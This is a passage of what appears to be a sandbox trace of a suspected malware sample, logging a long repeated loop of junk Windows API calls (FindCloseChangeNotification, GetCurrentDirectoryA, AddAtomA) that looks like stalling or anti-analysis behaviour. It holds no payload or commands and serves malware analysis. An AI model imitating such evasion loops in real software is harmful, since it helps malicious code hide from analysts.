FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.659] AddAtomA (lpString=0x0) returned 0x0 [0049.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.659] AddAtomA (lpString=0x0) returned 0x0 [0049.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.659] AddAtomA (lpString=0x0) returned 0x0 [0049.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.660] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.660] AddAtomA (lpString=0x0) returned 0x0 [0049.660] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.661] AddAtomA (lpString=0x0) returned 0x0 [0049.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.661] AddAtomA (lpString=0x0) returned 0x0 [0049.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.661] AddAtomA (lpString=0x0) returned 0x0 [0049.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.661] AddAtomA (lpString=0x0) returned 0x0 [0049.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.661] AddAtomA (lpString=0x0) returned 0x0 [0049.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.661] AddAtomA (lpString=0x0) returned 0x0 [0049.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.661] AddAtomA (lpString=0x0) returned 0x0 [0049.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.661] AddAtomA (lpString=0x0) returned 0x0 [0049.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.662] AddAtomA (lpString=0x0) returned 0x0 [0049.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.662] AddAtomA (lpString=0x0) returned 0x0 [0049.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.662] AddAtomA (lpString=0x0) returned 0x0 [0049.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.662] AddAtomA (lpString=0x0) returned 0x0 [0049.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.662] AddAtomA (lpString=0x0) returned 0x0 [0049.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.662] AddAtomA (lpString=0x0) returned 0x0 [0049.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.662] AddAtomA (lpString=0x0) returned 0x0 [0049.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.662] AddAtomA (lpString=0x0) returned 0x0 [0049.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.662] AddAtomA (lpString=0x0) returned 0x0 [0049.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.662] AddAtomA (lpString=0x0) returned 0x0 [0049.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.662] AddAtomA (lpString=0x0) returned 0x0 [0049.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.663] AddAtomA (lpString=0x0) returned 0x0 [0049.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.663] AddAtomA (lpString=0x0) returned 0x0 [0049.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.663] AddAtomA (lpString=0x0) returned 0x0 [0049.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.663] AddAtomA (lpString=0x0) returned 0x0 [0049.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.663] AddAtomA (lpString=0x0) returned 0x0 [0049.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.663] AddAtomA (lpString=0x0) returned 0x0 [0049.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.663] AddAtomA (lpString=0x0) returned 0x0 [0049.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.663] AddAtomA (lpString=0x0) returned 0x0 [0049.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.663] AddAtomA (lpString=0x0) returned 0x0 [0049.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.663] AddAtomA (lpString=0x0) returned 0x0 [0049.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.663] AddAtomA (lpString=0x0) returned 0x0 [0049.664] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.664] AddAtomA (lpString=0x0) returned 0x0 [0049.664] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.664] AddAtomA (lpString=0x0) returned 0x0 [0049.664] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.664] AddAtomA (lpString=0x0) returned 0x0 [0049.664] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.664] AddAtomA (lpString=0x0) returned 0x0 [0049.664] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.664] AddAtomA (lpString=0x0) returned 0x0 [0049.664] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.664] AddAtomA (lpString=0x0) returned 0x0 [0049.664] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.664] AddAtomA (lpString=0x0) returned 0x0 [0049.664] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.664] AddAtomA (lpString=0x0) returned 0x0 [0049.664] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.664] AddAtomA (lpString=0x0) returned 0x0 [0049.664] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.664] AddAtomA (lpString=0x0) returned 0x0 [0049.664] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.664] AddAtomA (lpString=0x0) returned 0x0 [0049.665] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.665] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.665] AddAtomA (lpString=0x0) returned 0x0 [0049.665] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.665] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.665] AddAtomA (lpString=0x0) returned 0x0 [0049.665] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.665] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.665] AddAtomA (lpString=0x0) returned 0x0 [0049.665] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.665] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.665] AddAtomA (lpString=0x0) returned 0x0 [0049.665] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.665] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.665] AddAtomA (lpString=0x0) returned 0x0 [0049.665] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.665] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.665] AddAtomA (lpString=0x0) returned 0x0 [0049.665] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.665] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.665] AddAtomA (lpString=0x0) returned 0x0 [0049.665] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.665] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.665] AddAtomA (lpString=0x0) returned 0x0 [0049.665] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.665] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.665] AddAtomA (lpString=0x0) returned 0x0 [0049.665] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.665] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.665] AddAtomA (lpString=0x0) returned 0x0 [0049.665] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.666] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.666] AddAtomA (lpString=0x0) returned 0x0 [0049.666] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.666] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.666] AddAtomA (lpString=0x0) returned 0x0 [0049.666] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.666] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.666] AddAtomA (lpString=0x0) returned 0x0 [0049.666] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.666] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.666] AddAtomA (lpString=0x0) returned 0x0 [0049.666] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.666] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.666] AddAtomA (lpString=0x0) returned 0x0 [0049.666] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.666] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.666] AddAtomA (lpString=0x0) returned 0x0 [0049.666] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.666] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.666] AddAtomA (lpString=0x0) returned 0x0 [0049.666] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.666] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.666] AddAtomA (lpString=0x0) returned 0x0 [0049.666] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.666] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.666] AddAtomA (lpString=0x0) returned 0x0 [0049.666] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.666] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.666] AddAtomA (lpString=0x0) returned 0x0 [0049.666] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.666] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.666] AddAtomA (lpString=0x0) returned 0x0 [0049.667] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.667] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.667] AddAtomA (lpString=0x0) returned 0x0 [0049.667] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.667] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.667] AddAtomA (lpString=0x0) returned 0x0 [0049.667] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.667] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.667] AddAtomA (lpString=0x0) returned 0x0 [0049.669] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.669] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.669] AddAtomA (lpString=0x0) returned 0x0 [0049.669] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.669] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.669] AddAtomA (lpString=0x0) returned 0x0 [0049.669] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.669] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.669] AddAtomA (lpString=0x0) returned 0x0 [0049.669] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.669] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.669] AddAtomA (lpString=0x0) returned 0x0 [0049.669] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.669] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.669] AddAtomA (lpString=0x0) returned 0x0 [0049.669] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.669] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.669] AddAtomA (lpString=0x0) returned 0x0 [0049.669] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.669] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.669] AddAtomA (lpString=0x0) returned 0x0 [0049.669] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.669] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.669] AddAtomA (lpString=0x0) returned 0x0 [0049.669] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.669] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.669] AddAtomA (lpString=0x0) returned 0x0 [0049.669] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.669] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.669] AddAtomA (lpString=0x0) returned 0x0 [0049.669] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.670] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.670] AddAtomA (lpString=0x0) returned 0x0 [0049.670] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.670] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.670] AddAtomA (lpString=0x0) returned 0x0 [0049.670] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.670] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.670] AddAtomA (lpString=0x0) returned 0x0 [0049.670] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.670] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.670] AddAtomA (lpString=0x0) returned 0x0 [0049.670] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.670] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.670] AddAtomA (lpString=0x0) returned 0x0 [0049.670] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.670] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.670] AddAtomA (lpString=0x0) returned 0x0 [0049.670] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.670] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.670] AddAtomA (lpString=0x0) returned 0x0 [0049.670] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.670] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.670] AddAtomA (lpString=0x0) returned 0x0 [0049.670] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.670] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.670] AddAtomA (lpString=0x0) returned 0x0 [0049.670] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.670] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.670] AddAtomA (lpString=0x0) returned 0x0 [0049.670] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.670] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.670] AddAtomA (lpString=0x0) returned 0x0 [0049.670] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.671] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.671] AddAtomA (lpString=0x0) returned 0x0 [0049.671] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.671] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.671] AddAtomA (lpString=0x0) returned 0x0 [0049.671] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.671] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.671] AddAtomA (lpString=0x0) returned 0x0 [0049.671] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.671] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.671] AddAtomA (lpString=0x0) returned 0x0 [0049.671] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.671] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.671] AddAtomA (lpString=0x0) returned 0x0 [0049.671] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.671] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.671] AddAtomA (lpString=0x0) returned 0x0 [0049.671] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.671] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.671] AddAtomA (lpString=0x0) returned 0x0 [0049.671] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.671] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.671] AddAtomA (lpString=0x0) returned 0x0 [0049.671] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.671] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.671] AddAtomA (lpString=0x0) returned 0x0 [0049.671] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.671] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.671] AddAtomA (lpString=0x0) returned 0x0 [0049.671] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.671] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.672] AddAtomA (lpString=0x0) returned 0x0 [0049.672] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.672] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.672] AddAtomA (lpString=0x0) returned 0x0 [0049.672] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.672] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.672] AddAtomA (lpString=0x0) returned 0x0 [0049.672] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.672] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.672] AddAtomA (lpString=0x0) returned 0x0 [0049.672] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.672] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.672] AddAtomA (lpString=0x0) returned 0x0 [0049.672] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.672] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.672] AddAtomA (lpString=0x0) returned 0x0 [0049.672] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.672] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.672] AddAtomA (lpString=0x0) returned 0x0 [0049.672] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.672] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.672] AddAtomA (lpString=0x0) returned 0x0 [0049.672] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.672] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.672] AddAtomA (lpString=0x0) returned 0x0 [0049.672] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.672] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.672] AddAtomA (lpString=0x0) returned 0x0 [0049.672] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.672] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.672] AddAtomA (lpString=0x0) returned 0x0 [0049.673] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.673] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.673] AddAtomA (lpString=0x0) returned 